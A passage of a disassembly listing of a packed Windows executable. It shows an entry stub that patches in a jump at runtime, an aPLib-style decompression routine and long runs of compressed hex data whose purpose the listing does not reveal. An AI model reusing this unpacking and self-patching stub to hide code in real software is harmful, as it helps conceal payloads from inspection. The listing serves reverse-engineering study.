--------------------------------------------------------------------------- add eax, edi mov ecx, 0E326Ah add ecx, edi jmp short loc_4E3090 ; --------------------------------------------------------------------------- loc_4E3086: ; CODE XREF: start+8j mov eax, offset loc_53B16A mov ecx, offset word_4E326A loc_4E3090: ; CODE XREF: start+70j push eax push ecx call sub_4E311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E3265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E3127: ; CODE XREF: sub_4E311B:loc_4E313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E3132: ; CODE XREF: sub_4E311B+7Aj ; sub_4E311B+C3j ... add dl, dl jnz short loc_4E313B mov dl, [esi] inc esi adc dl, dl loc_4E313B: ; CODE XREF: sub_4E311B+19j jnb short loc_4E3127 add dl, dl jnz short loc_4E3146 mov dl, [esi] inc esi adc dl, dl loc_4E3146: ; CODE XREF: sub_4E311B+24j jnb short loc_4E3197 xor eax, eax add dl, dl jnz short loc_4E3153 mov dl, [esi] inc esi adc dl, dl loc_4E3153: ; CODE XREF: sub_4E311B+31j jnb loc_4E3238 add dl, dl jnz short loc_4E3162 mov dl, [esi] inc esi adc dl, dl loc_4E3162: ; CODE XREF: sub_4E311B+40j adc eax, eax add dl, dl jnz short loc_4E316D mov dl, [esi] inc esi adc dl, dl loc_4E316D: ; CODE XREF: sub_4E311B+4Bj adc eax, eax add dl, dl jnz short loc_4E3178 mov dl, [esi] inc esi adc dl, dl loc_4E3178: ; CODE XREF: sub_4E311B+56j adc eax, eax add dl, dl jnz short loc_4E3183 mov dl, [esi] inc esi adc dl, dl loc_4E3183: ; CODE XREF: sub_4E311B+61j adc eax, eax jz short loc_4E318D push edi sub edi, eax mov al, [edi] pop edi loc_4E318D: ; CODE XREF: sub_4E311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E3132 ; --------------------------------------------------------------------------- loc_4E3197: ; CODE XREF: sub_4E311B:loc_4E3146j mov eax, 1 loc_4E319C: ; CODE XREF: sub_4E311B:loc_4E31B0j add dl, dl jnz short loc_4E31A5 mov dl, [esi] inc esi adc dl, dl loc_4E31A5: ; CODE XREF: sub_4E311B+83j adc eax, eax add dl, dl jnz short loc_4E31B0 mov dl, [esi] inc esi adc dl, dl loc_4E31B0: ; CODE XREF: sub_4E311B+8Ej jb short loc_4E319C sub eax, ebx mov ebx, 1 jnz short loc_4E31E3 mov ecx, 1 loc_4E31C0: ; CODE XREF: sub_4E311B:loc_4E31D4j add dl, dl jnz short loc_4E31C9 mov dl, [esi] inc esi adc dl, dl loc_4E31C9: ; CODE XREF: sub_4E311B+A7j adc ecx, ecx add dl, dl jnz short loc_4E31D4 mov dl, [esi] inc esi adc dl, dl loc_4E31D4: ; CODE XREF: sub_4E311B+B2j jb short loc_4E31C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E3132 ; --------------------------------------------------------------------------- loc_4E31E3: ; CODE XREF: sub_4E311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E31F1: ; CODE XREF: sub_4E311B:loc_4E3205j add dl, dl jnz short loc_4E31FA mov dl, [esi] inc esi adc dl, dl loc_4E31FA: ; CODE XREF: sub_4E311B+D8j adc ecx, ecx add dl, dl jnz short loc_4E3205 mov dl, [esi] inc esi adc dl, dl loc_4E3205: ; CODE XREF: sub_4E311B+E3j jb short loc_4E31F1 cmp eax, 7D00h jnb short loc_4E3228 cmp eax, 500h jb short loc_4E3223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E3132 ; --------------------------------------------------------------------------- loc_4E3223: ; CODE XREF: sub_4E311B+F8j cmp eax, 7Fh ja short loc_4E322B loc_4E3228: ; CODE XREF: sub_4E311B+F1j add ecx, 2 loc_4E322B: ; CODE XREF: sub_4E311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E3132 ; --------------------------------------------------------------------------- loc_4E3238: ; CODE XREF: sub_4E311B:loc_4E3153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E3259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E3132 ; --------------------------------------------------------------------------- loc_4E3259: ; CODE XREF: sub_4E311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E3265: ; CODE XREF: start:loc_4E3076j ; start+9Dj jmp loc_53B16A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E326A dw 38E9h ; DATA XREF: start+77o dd 15635FCh, 8B21FCBAh, 0C8BB6A84h, 0AA42B871h, 2E24F2EAh dd 1BCAE10h, 8EAB1EE1h, 0FFFE1001h, 0EB11018Eh, 2CDB92BBh dd 3F084FAh, 0A533AC3Ah, 0F243B801h, 7F0CE578h, 3B892F9h dd 52C0BB46h, 61747365h, 41387273h, 3E2EBD70h, 0FD877078h dd 8D709891h, 5C11E475h, 455E7F23h, 0E015C236h, 6D656854h dd 6164691Ch, 0CD4BD721h, 35E65740h, 0F21AE103h, 6E843B22h dd 0C58B1CEFh, 0E860D487h, 815D8008h, 1B360BEDh, 95890706h dd 110D16A5h, 830B1B5h, 22B5D85h, 1449BD83h, 0C74010Eh dd 0E2C8E88Bh, 1EA5B1B8h, 4470F1C2h, 3F20C724h, 456A0C0Bh dd 6829A3E8h, 83749A1Fh, 0ADF283Dh, 894B250Fh, 85D5480Ah dd 2B0214E9h, 555E8ECh, 0C483EC8Bh, 5AEE60D8h, 0F944EA81h dd 0C7DA098Bh, 81BD845h, 89400E18h, 0FC7D8108h, 741DC680h dd 87F200Fh, 45638333h, 43120CFFh, 0DC36E1EBh, 8226616Eh dd 8004C2C9h, 7CC48146h, 4902D1FFh, 3742C4h, 8B80458Dh dd 0C708145Dh, 50441985h, 0D10AA08Dh, 18880AC3h, 8A0B8941h dd 2006BD81h, 0E375295Dh, 0BA8D4227h, 75C0648Eh, 0BB0E8A80h dd 5BF449h, 5437ABB8h, 0FCD0D378h, 4B08C30Fh, 0AFB0F775h dd 465247C3h, 2A46464Ah, 0D12B42F9h, 0D0A08A61h, 8AFDF075h dd 4DFC45EEh, 0AD04EB0Ah, 80468C3Ch, 53F7403Eh, 346E84BAh dd 0EB0C7D61h, 0F83E907Fh, 0F0126DCCh, 0F40ECA84h, 0C14A8110h dd 4004F065h, 0E0D1F8D6h, 60C20339h, 8ADB3328h, 80301C1Ch dd 0A72CCFBh, 773D390Ah, 0F2EB3E05h, 61142267h, 7F0A0DF6h dd 1E086F66h, 0AC34E5Fh, 411A10ACh, 0A0B7230h, 0DE067746h dd 118A224h, 0F4ECF05Dh, 1B7D7383h, 0CB07202h, 0A576C037h dd 4126AA66h, 8D07CEF8h, 3B00A86Ah, 820FFC55h, 0B0BDA978h dd 38BEAAC1h, 0E008BA50h, 0A870E0B9h, 4088BDFCh, 0F02FE38h dd 0FA754947h, 6A36E1B9h, 7D01BBDCh, 82F11D31h, 6002B7EBh dd 3A7A868Eh, 51081C0Eh, 0D1360F65h, 268A3B77h, 10F9E9C4h dd 31105359h, 0EA110B81h, 490B8006h, 2FE1175Fh, 0C012F65Ch dd 0E4AFBD17h, 3948C0D1h, 83007621h, 0FEABA502h, 393CC97h dd 0BC67C32Ch, 7230F268h, 0C881D4F1h, 728CF8C2h, 34CB38DFh dd 39820077h, 0F765B4Eh, 510FB810h, 8ED1043Dh, 7246CC3Bh dd 2E093A75h, 480E11B0h, 6528E4ECh, 84FA5490h, 8E05C506h dd 47FF8D96h, 0C2048553h, 718C2940h, 0DBE78205h, 0FFB3AC0Eh dd 77812B0Ch, 11D2204h, 0F984C134h, 90207533h, 76773FBCh dd 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh, 0E9EA45CFh dd 0C4625060h, 4D8C5200h, 0AA821125h, 0ABCD84B1h, 1308845Ah dd 0AE5A656h, 98EE825Eh, 0FF06A881h, 0B9EA8A13h, 14231388h dd 0A44397h, 0FE8BDFE9h, 0DA1E8D67h, 0E29F5C51h, 52016B41h dd 318704E9h, 26C45A21h, 0A1818C8Ah, 1E089845h, 524221h dd 0D7BFB0C4h, 5749693Fh, 0AB438228h, 0F9EEF000h, 8610CA0Bh dd 0F633C935h, 0C8A1C383h, 982206D1h, 0B41D02BCh, 30EA3437h dd 0CCBF000Fh, 13E9A306h, 400080A6h, 337E2196h, 387CABh dd 42B112A1h, 78E02274h, 5CD98B14h, 607F9030h, 0EE2BCB50h dd 868A0D6Fh, 0F020235Eh, 9C129AD4h, 6B062639h, 2020A620h dd 0E9522F12h, 0AB7F01A1h, 0C0F7C960h, 3B0DB9F8h, 88005915h dd 82192B8Ch, 6661EAC1h, 0BF2ABAC1h, 831A57C4h, 9F4600EDh dd 1D728258h, 8C0F3AEAh, 20FA8B11h, 0C7B205C3h, 0EE812830h dd 1AEB06B8h, 1E71DEDDh, 32EC1000h, 8ADCB254h, 0E9841E11h dd 0C373FF03h, 49DF8B5Bh, 639F448Dh, 245C84B5h, 1CC508B1h dd 5903BC80h, 91EA61DDh, 7281009Ch, 0C79D39CEh, 1CBF1B1Dh dd 0EF756000h, 1323EB63h, 40A6EA68h, 597C66E1h, 74004FDAh dd 0B3CA1E25h, 1C0ECDh, 45F29210h, 4107EEE6h, 0D95CF1Dh dd 17D71B3Ch, 0D235E008h, 52840026h, 3EC43B7Bh, 3000D80Bh dd 8E0E4D29h, 746A167h, 0EFFE8C78h, 8342A009h, 5C033960h dd 0C1164FEDh, 0A06103EBh, 0F5507563h, 324032E2h, 69C00E79h dd 6F3F9267h, 47DC07F3h, 0E0655B7Ah, 0BCC26D4Fh, 0CC0056EAh dd 0C69050BEh, 0D22190Fh, 43ADDE48h, 7D6F041h, 0E9180460h dd 30652B62h, 0E678FECFh, 0D300E7F8h, 91A79F30h, 54B0A9h dd 0C4D55B18h, 0F09C4C82h, 2C844B54h, 87338B00h, 81B132Ah dd 1805006Fh, 0A11128Ch, 1ACE440Eh, 0D9FA6C2Bh, 6B6101F4h dd 0BE1AB1B6h, 49A2F8E2h, 0C3268B0Eh, 0E0FD6FBBh, 75F5D19Fh dd 38B1D116h, 5F928D00h, 7AA25852h, 7732D203h, 4CF03Fh dd 0F59DEB21h, 0A04AB06Ch, 0DBFE7901h, 0F32A97EAh, 3C38187h dd 59264055h, 0CD7E7150h, 8190513Ah, 6BCA7F2Fh, 0C8411154h dd 0AC404BF1h, 6046C4F8h, 26CCD015h, 0C6141007h, 78A00347h dd 9884F00h, 7ACAA22Dh, 0A4FA54CFh, 8AE0011Bh, 73F88CABh dd 25B1F33Ch, 2F002048h, 39502163h, 0CE10183Fh, 67566110h dd 19FE0EDh, 0CB56980h, 86E5023h, 6D584E59h, 0EF4D1DAAh dd 5CC8F9B0h, 63360A31h, 0FEF83A0h, 3D00AB82h, 0B50A5041h dd 0FC7913E4h, 0A8AC7412h, 90F6E700h, 0C71AAFFEh, 167C6F68h dd 0B40A184Fh, 38F77250h, 1B8C381Eh, 5047281Dh, 180A8CF2h dd 815891FEh, 0B0A8F92Ah, 0E0004536h, 8EBDCAADh, 1A5629Dh dd 0FA7BC147h, 0DF36D064h, 0E777810h, 15D8910Ah, 0F40C81F4h dd 0D4A7A068h, 0C500421Bh, 52CFBF53h, 30AC73E8h, 30A05760h dd 13609FDEh, 0A4F89340h, 380F4936h, 0E8737283h, 3EE407A5h dd 0A1F5B667h, 0A461B700h, 0C04D3C9h, 42431DC8h, 0DA2F02B8h dd 19E0CA68h, 0F062C316h, 0A0F4CF31h, 0F1BFAD84h, 0B23E1D94h dd 629273A1h, 3FCE9108h, 7C4702F8h, 0E8A03AC4h, 3388736Ah dd 9C1788C1h, 18A4059Eh, 947406D7h, 85F24068h, 0F02A17F6h dd 2600A851h, 0C1D3462Ah, 3939A787h, 98800358h, 0B0C98425h dd 0B8EA6FECh, 65406A60h, 6E9083CAh, 9429681Eh, 0A3C43010h dd 1841DD30h, 0D517CEEh, 5D2B33ADh, 0A473F469h, 48809F30h dd 503D2806h, 39E489Ch, 8C79C5CCh, 50770246h, 0B63A607h dd 5340ED7Bh, 0AF1898h, 4DE3B6B5h, 0EB393C32h, 300A3A00h dd 0A674D87Ah, 0EDE20022h, 0E91B018h, 17E8D971h, 6DF79D00h dd 0D855D212h, 0F85A3C19h, 3F277609h, 38D96481h, 64B5D85Bh dd 0AE74F203h, 0D090DA22h, 13FEC4h, 392C0DEh, 0A717AFA8h dd 61B07100h, 1663B67Ch, 59C909Fh, 186C400Bh, 0D7800731h dd 65F88C76h, 0F02A52h, 0D4B76280h, 0FB35F379h, 488C7630h dd 6B8AC892h, 8771320h, 12091704h, 0CE0C86C7h, 74501211h dd 919820F9h, 7360F63Ah, 4468EE11h, 30E8306Bh, 0EBC68C49h dd 6C0300B0h, 0DAC418DCh, 0D71002F0h, 4C74A46Fh, 2208C887h dd 2C420B5Fh, 0C416BC40h, 0FB9EC60h, 0C073BCA4h, 0E921C828h dd 0C6180AE3h, 0F5301487h, 81196479h, 0D214C8F0h, 83CD8038h dd 0BCA12F25h, 15B2E0F3h, 187C2C5Ah, 4219121Eh, 32E0835Ch dd 0CB679B00h, 0C25501DAh, 924FEBEAh, 3828308Dh, 843FC626h dd 132E98Bh, 1C71F524h, 20513C42h, 0AC8DD678h, 4BA81100h dd 2148671Dh, 27DD1370h, 6B380496h, 88FD43FBh, 0CA391747h dd 9CA111A3h, 20A3C48h, 2F8674Fh, 0C3CE92C9h, 0FE479468h dd 7B1C9454h, 32F9020h, 9B6A9D4Fh, 100926F8h, 91CB169Ah dd 0DC48CF08h, 7D6200A3h, 97756DA2h, 9613B345h, 5030AF73h dd 787C9h, 3736F7A3h dd 4F036A7Dh, 540CB00h, 0CC67B0E5h, 2094597Bh, 0D5C55403h dd 90874FF7h, 0C88AFEB7h, 6650A1C3h, 4E7900F6h, 8FCEC3C2h dd 0B628A20Ah, 5820F4BFh, 0F0DF04EFh, 86E7629Ch, 89224910h dd 0F63914A4h, 6728506Eh, 0F710FD98h, 0F268028Ch, 0C3082C38h dd 7C0F842Ch, 520D198h, 0B077CC0Bh, 0FF099092h, 850FAAC4h dd 0F052FBD4h, 0E73D1C44h, 7C84C45Fh, 42BF0574h, 0A4704801h dd 18826D14h, 608BCE94h, 0E4E330CBh, 230603FCh, 0F608C310h dd 88CD4810h, 0E6280A30h, 502968E7h, 0FD0A906Ch, 3601308Ch dd 56FC83F0h, 0F049C901h, 8634A477h, 8004E8FAh, 0FCC92E70h dd 0C1F3F130h, 98BF5449h, 0A24C3080h, 2B236F09h, 4E0C18CAh dd 0FF61810h, 7471881Eh, 68A18066h, 81557B28h, 0AC22D7h dd 8E7EE1EFh, 3B7AE56h, 0BADCA59Dh, 3C0EA50h, 0D3584707h dd 827E10ACh, 41DB9850h, 47BC2004h, 0F8348141h, 7419C1EFh dd 0E041CFA8h, 0E320D630h, 0BFE52C14h, 186308C4h, 0A406441Dh dd 1CF8F8D2h, 0D98C7004h, 0C892504Bh, 0EF80304Ch, 5B603173h dd 105DCE19h, 918CFE46h, 1978B298h, 0B4E754CBh, 9EA2040Fh dd 899F1897h, 0CC441094h, 16E408BFh, 411FECC1h, 46448B06h dd 92F07368h, 0C02A7714h, 3E334F21h, 3100B8E4h, 0DE86397Ah dd 1FF0F76h, 0C73AF09h, 0ED43B9E7h, 0B5C20F0h, 602A80C4h dd 88FB059h, 50A3104Ah, 0A4210410h, 184008AAh, 0EECD16B1h dd 76F579C2h, 2904409h, 2468EBA2h, 0F46B70B6h, 0B2CBE903h dd 0DE9A9C78h, 0AF141F10h, 715BDAFEh, 1203F041h, 4C52D7h dd 0AF95FA4Dh, 0B2D2B5DCh, 50B70400h, 794A7D9Bh, 0F2497124h dd 2B032E87h, 69024090h, 0B10080FEh, 0D84440E4h, 74D2625h dd 0FF31837Dh, 0C055091h, 0D94CF9DFh, 682108Ch, 1252E41Eh dd 4E309067h, 0A1DEC916h, 2AD16601h, 0C8BA2CA2h, 28D4FBA8h dd 0F4C14Ch, 6EEE58Dh, 1510A373h, 3B90BD80h, 8C8DBD6h dd 47B8CF24h, 0A579D032h, 6B6B08FFh, 0F700260h, 20100D24h dd 79C5E724h, 9048EFDEh, 40184405h, 81EAE709h, 8938006Eh dd 40247430h, 4F0DDAF4h, 2870BD14h, 402E8830h, 4B0CEEFh dd 0FDA04262h, 0C8F89391h, 0B129C4A3h, 0EAD208A0h, 24743A0Eh dd 68A480CAh, 0F4054533h, 0EF805878h, 8549C053h, 0FD2F0F1h dd 0EEAE300h, 28384436h, 0BCC20016h, 70081991h, 0B40380C7h dd 719B47BDh, 8841B4ACh, 834B3603h, 44ABEFE8h, 0C2183764h dd 0A5A7C0F1h, 0CC004C28h, 0F816091Ah, 3CD70A8h, 25D6F44Dh dd 0FDC0ACCBh, 3C022CDCh, 0ECA3CC18h, 0F56F0033h, 36269ED3h dd 0C808643Ah, 16440213h, 0B8ABECCCh, 0A810FC07h, 0B45960Eh dd 0E20010D6h, 4A7282h, 892691CEh, 2E60D56Eh, 45A11B01h dd 57C62A3Fh, 72739057h, 70DFD8F2h, 8AB62402h, 6B510410h dd 334B207h, 5DAFC9C2h, 0E85CE24Ah, 60F04F84h, 0C263F160h dd 3739786Ah, 0B6C489B1h, 62DC260Ch, 6B411D50h, 0DE3A41BDh dd 0CDFD18E3h, 0E4A9E8B7h, 0BEE11F00h, 3104F208h, 9104A509h dd 7998009Eh, 0FB2DF063h, 22AB1F7Bh, 862CC3FEh, 1903AAB1h dd 1F84B404h, 0B8400F03h, 2F832B87h, 4AF97AFDh, 75ECD812h dd 3CD081Fh, 8A8BBFEh, 3CF6FC8h, 4F17AB7Fh, 0E50A5818h dd 80349168h, 720783Fh, 996E00C5h, 9784DC50h, 280EF682h dd 401A59A8h, 2A51AF24h, 0A10106C8h, 80CDB687h, 7C54231Eh dd 10C5480Ch, 0D9FF1496h, 0C1287408h, 38742C84h, 0F743ED3h dd 0CD487D03h, 0AB816AC1h, 3089B8A1h, 0E4B5E105h, 62990F30h dd 0F34598B4h, 393001B7h, 864A907Eh, 6AEC7F88h, 38056160h dd 8FB523A8h, 956D81C8h, 33DB0C08h, 37B09003h, 81419746h dd 5702AE35h, 6390CCC4h, 1BBEA944h, 79448777h, 89B7EAC0h dd 21A56331h, 0B5462309h, 0E3700AE9h, 85189F77h, 43A6919Eh dd 7A589E0h, 267122h, 0BCB7DEE1h, 0CD587587h, 2E287C06h dd 40D0FDA6h, 41C1AEDDh, 1B7A7063h, 0A6DA2024h, 3B123B0h dd 0A316260h, 3B052946h, 0C1860AF8h, 1A08024Ch, 0A081F3BCh dd 819FDDDCh, 0EF3864D1h, 87D12816h, 251CD0h, 2C8272B6h dd 0EBFD7ABFh, 91F74D30h, 30C1FAF4h, 7C11F97Fh, 1205EB2Eh dd 65B035E4h, 1006D04Ch, 0F1FE30AEh, 3E289B28h, 2252BF05h dd 0D0429889h, 0B4F748E0h, 0F53D3228h, 289C0318h, 30C42604h dd 94842253h, 11379440h, 1DFF3A38h, 50AB214h, 40077918h dd 0BEBC82A4h, 0BD56FA24h, 71398040h, 60FE7618h, 0D86D3830h dd 0FD017F70h, 3DFB9B83h, 2F20568h, 4C4A857Ch, 1B69CA8Dh dd 0AF35823Ch, 3DA4A169h, 3C22D1B7h, 467FB40Eh, 5BBC3494h dd 7FD2E085h, 6F0AD50Dh, 0FB84A806h, 0C33DD130h, 7C1C0112h dd 0DA9DEAFEh, 4A4847CBh, 1BBDD9BCh, 0D030C13Bh, 0A6043061h dd 0F8810890h, 0C8A85325h, 231339C6h, 0B05FB48Ah, 78A9CE99h dd 0EBC908h, 3BB10C76h, 71607B18h, 68056F89h, 3D298100h dd 0E94E1902h, 24B135DDh, 47700091h, 0F47B72BBh, 10AD3518h dd 3EE58681h, 6B29380Ah, 0BCCF9420h, 89CDB86h, 8CD50512h dd 3A9C09h, 459230A0h, 67043CFDh, 91008EAh, 2400FBE6h dd 2EAF07CFh, 974EE13Eh, 250021B6h, 1B627017h, 57B700E6h dd 9DF0D76h, 4AFA7786h, 58DE000h, 0D88A7420h, 0CBAF0029h dd 4DFD98B8h, 0A800BD12h, 1F8C83E9h, 1686BE21h, 0ACABD0h dd 49320B31h, 40C13BE4h, 24DD8876h, 0F698EE00h, 0ECF9A000h dd 5E87C3A8h, 0EA340717h, 900D7794h, 320CF147h, 8C9F7A01h dd 88896A02h, 10AF4EE8h, 3A51EC22h, 39E96FFh, 40F807Dh dd 1F8D5FBh, 7052BBC7h, 0D820F9A2h, 685600E6h, 4FB2340Fh dd 9E000CB9h, 1C0DBF2Eh, 3AA649h, 897D1FD4h, 200168DEh dd 4C40B867h, 0C5DDB750h, 189A0048h, 8594E731h, 3300CC76h dd 20576F7Ch, 0DAEBC3h, 1E5F11Dh, 0B81FAF5Ch, 0C46E4C3Ah dd 5F4803EBh, 94BE371Ch, 29A73B8h, 97F14Ch, 96F6A63Dh dd 7E5ED54h, 1F01270Eh, 0A36E207Ah, 0D80BB72Ah, 89608DE9h dd 32380415h, 80AE948Bh, 0FA57EC35h, 0BD220049h, 8548E9A3h dd 0E1003718h, 0CC6FF294h, 78147h, 0F9E03C1Ch, 0EF744DDFh dd 0FC4E9A00h, 6D4FB8C8h, 0F0FEB5h, 688317DEh, 29753421h dd 0B3608201h, 38B08404h, 7CDFF0ECh, 0EE7F0CD5h, 0B6406896h dd 0B2F85110h, 8217D400h, 7539188Bh, 0A764F00h, 4A782D98h dd 9C3C0040h, 7F1D083Ah, 4E01DDDFh, 51E5F2FBh, 0C7FCA104h dd 85C202DAh, 0A3390E8Bh, 405D8CCDh, 0E1C6F80Ah, 4DF79807h dd 0E760BD2Dh, 70F9654h, 0A694A3E5h, 7B007807h, 8C9D3B33h dd 325500D9h, 0AF4DDDF1h, 5300E134h, 0F8FA6E6Dh, 58C4DEh dd 0E9251786h, 9FAF7557h, 4A7B0100h, 0FC973D14h, 903C72D5h dd 26900CAh, 0F552B5F3h, 0C300FDB3h, 5B48DBF1h, 0B2E625h dd 0CD06A494h, 164BF234h, 0FAE07800h, 8DEF2908h, 35243E01h dd 70500E89h, 0DDF9F800h, 210087C3h, 8DE3371Fh, 0B0B1AF86h dd 0F37244ACh, 8014DD7Fh, 918898EEh, 0FBBF04h, 0EE73406Bh dd 754881h, 9F7487D7h, 0E10486F8h, 0A8340852h, 5DF000EEh dd 86D5D298h, 87F29D63h, 28E62405h, 1C706819h, 0C021617Ch dd 23B77F10h, 0FD0F2F36h, 2B919D24h, 723CE1C4h, 5E74F2E8h dd 29044019h, 9A8AC96Ah, 2D28360Ch, 0DF110984h, 80629C21h dd 0B48CD11Fh, 1BF203CBh, 8902DCBEh, 72E5263h, 0AF217F09h dd 7C25E846h, 0BD980660h dd 307867D8h, 0A1B1F44Bh, 11FA88AFh, 5523FD02h, 99B06C6Eh dd 0CC02BF1Ch, 3600DCDAh, 0C39BFFA6h, 1FF9F301h, 65CEB85h dd 59F67B80h, 70711207h, 0CD377DECh, 34F075E5h, 3721C711h dd 0D251D079h, 0B200A13Ah, 0ED637B98h, 373603ACh, 4FC8FA9Eh dd 84A9DAA0h, 0C84AF7B1h, 88717088h, 8E02CE6Bh, 33CF77EDh dd 30B48021h, 9E60761Ah, 3B81032Ch, 503225EAh, 3082A8E9h dd 0EA10706Bh, 35E0407Dh, 831C7073h, 8507E962h, 74034CECh dd 4658195Ch, 0E0EDA91Ah, 186096ABh, 0DFB19C10h, 7B0CAC0h dd 39740F0h, 50F7DC6Bh, 0B7E9D1A4h, 0FC05655Bh, 0CCF0B208h dd 5C92BCh, 0EFB7D1ECh, 64569570h, 0FB07F00h, 0EDB1B46Ch dd 0E1810E63h, 9BC362CFh, 607728F6h, 0B7D0048Ch, 38BF3A6Ch dd 0B7D800F1h, 0AAE928BDh, 230132D1h, 7E3677AEh, 217559h dd 2E88EC0Eh, 0DF3525C0h, 0FC93F8FEh, 62EB0158h, 0CAE18264h dd 7CF88357h, 0A9A8F19h, 1C61B1B8h, 2B8208A8h, 49799803h dd 83FBA874h, 3F1F41Dh, 2393A7C3h, 0E1093084h, 50656A38h dd 7C48E9FCh, 6BB708EBh, 0BDC4D73Ah, 0B7D3805Ch, 3D8E3858h dd 64C7FF24h, 1193923Ch, 6B372000h, 5B6C876h, 3665CCDEh dd 7B484396h, 0A8BED65Bh, 127CD900h, 5E15FF37h, 557503B2h dd 0E059753h, 10F3B90h, 0FB316204h, 0F4986EF2h, 84C90850h dd 15C4869Ah, 0C968BF40h, 0B1121BBBh, 0ECA0D76Fh, 85801432h dd 0E07CC38h, 0BCF1ABBDh, 39C70488h, 9A375DFh, 0B035F05Bh dd 6119C528h, 86D040FBh, 0DA8B0FDCh, 1A178018h, 0DD5F21h dd 2DECBF79h, 652B034Dh, 0F48C9400h, 0D381716Eh, 0B7DC2A64h dd 121000A0h, 3F4D6127h, 5008BC7h, 0B4716FD6h, 6147C33h dd 0DBA8EB88h, 10031C0h, 0F51122CBh, 0F79182h, 3D87C9E1h dd 0C167BA2Fh, 581BE703h, 0EA9B0781h, 0D1B4A01Dh, 4CB143CFh dd 0F8104831h, 35F50F23h, 6B9B8AEh, 0CCB32691h, 0FF2A8180h dd 8CEB8722h, 291D1A79h, 0B6B901F9h, 2FB2A064h, 0BA9520F6h dd 4DA6370Ch, 99CA581Dh, 3BD820E0h, 1160DAD9h, 6D448924h dd 19EE7B3Bh, 300983F6h, 813921BFh, 1C5C5607h, 3F883027h dd 43F6C669h, 0C8492A25h, 86D22BD0h, 0B071726Ah, 66807B11h dd 987DE970h, 0B048CE4Ch, 73706E38h, 24E01E2h, 0BE9D74C3h dd 2ADBC5E0h, 0B240745Fh, 0E5F0EA35h, 67B93B28h, 25824081h dd 0E0640A7Fh, 6E099A29h, 356B18Ah, 50152A54h, 8C7354A8h dd 9AD66D50h, 9D543E49h, 65C40062h, 76D7C6C9h, 0B77A99EAh dd 4C3D7F26h, 4D7A4500h, 91D60F9h, 0AD355521h, 4B0EC05Ah dd 1B7E56Eh, 2013CF76h, 5529DC33h, 80D491C4h, 7B6C448Ah dd 221F4376h, 82430032h, 0B32D1044h, 0AA027E1Ah, 13A93C6Ah dd 0CCBC85DDh, 265C34E4h, 838523Dh, 0E9011DDAh, 33F38745h dd 4C5D0034h, 8610E854h, 0FA6115F2h, 996F05C0h, 2980794Dh dd 9E89D0Ch, 0F743B071h, 227C0080h, 7E263A78h, 1D87A013h dd 58BC1B7Fh, 0F3030A6Ah, 80D4C1DBh, 38BE1C63h, 0D40016E4h dd 9128762Bh, 7D1294B9h, 0FEAB1868h, 0DDD6802Dh, 0E7CFC4Dh dd 0A0A1C7A0h, 547E390Fh, 23F6025Ch, 1417838Ah, 0EB24CCA3h dd 0BAB99E00h, 59B2CA05h, 0E8A0E79h, 0F0925B3Dh, 2013B8D8h dd 0A008914Dh, 0B7EDC067h, 0E7433A71h, 0B7D5F080h, 6978376Eh dd 70BAD77Fh, 0CB187F04h, 98C088F3h, 5429A492h, 1C2A78FBh dd 7B7848h, 9F3C1603h, 0BA01BC39h, 5F96F66h, 0F2F48402h dd 7D7E1437h, 0CC40A03Ah, 601D415Fh, 5A4C5068h, 9060CE04h dd 8C775C50h, 83C95104h, 0C0385E9Ah, 0DC96900h, 62AEB2EEh dd 74D03AA7h, 5B919C02h, 0B8622E2Bh, 58681341h, 0B708E68Ch dd 0C4EF3A66h, 0CEEB42BBh, 0A58380B7h, 0D678BCFh, 0B5DB8025h dd 0E832C021h, 0D607E3FCh, 0FE57AA63h, 0C0C0F45Ah, 84D752h dd 0DB7E782h, 99634BC5h, 0D27D7F09h, 74C487F7h, 356CD570h dd 751926E2h, 8972405Ch, 20D44518h, 0D7B0FC0h, 0C301319h dd 27167Dh, 0D043DD7Ch, 3E17ACB6h, 38D23758h, 4B9DCC6Ch dd 0C5BE30C0h, 19BD14F2h, 5063072h, 0A840125Bh, 19F87C30h dd 0E862FD10h, 0AB7F00E3h, 2C26708Dh, 2803EB4Eh, 0F4F316D6h dd 38A4F4C1h, 380B48C7h, 0B3D77D04h, 1F0CED2Fh, 3854AF7Eh dd 6558C8F4h, 1ADC43AAh, 7EC9F1B3h, 2025E371h, 9FB0E8DAh dd 0C1C700B6h, 344C69A4h, 0C404F8DFh, 38BDB6Ch, 919D4090h dd 8D64C73h, 1E19740Ch, 5100C159h, 89B34E46h, 2569075h dd 0D5816EF7h, 8C895323h, 803A7085h, 0FE0682F4h, 1020264Ch dd 0A0B1BF6h, 0F8A97BA8h, 60D25C04h, 23524484h, 2F11A67Bh dd 447C3D07h, 0FC2AB355h, 9553DDA8h, 35F82903h, 3D2201A6h dd 46926AE8h, 8914443Eh, 10E8BC4Ah, 750005ADh, 0F53EF2C2h dd 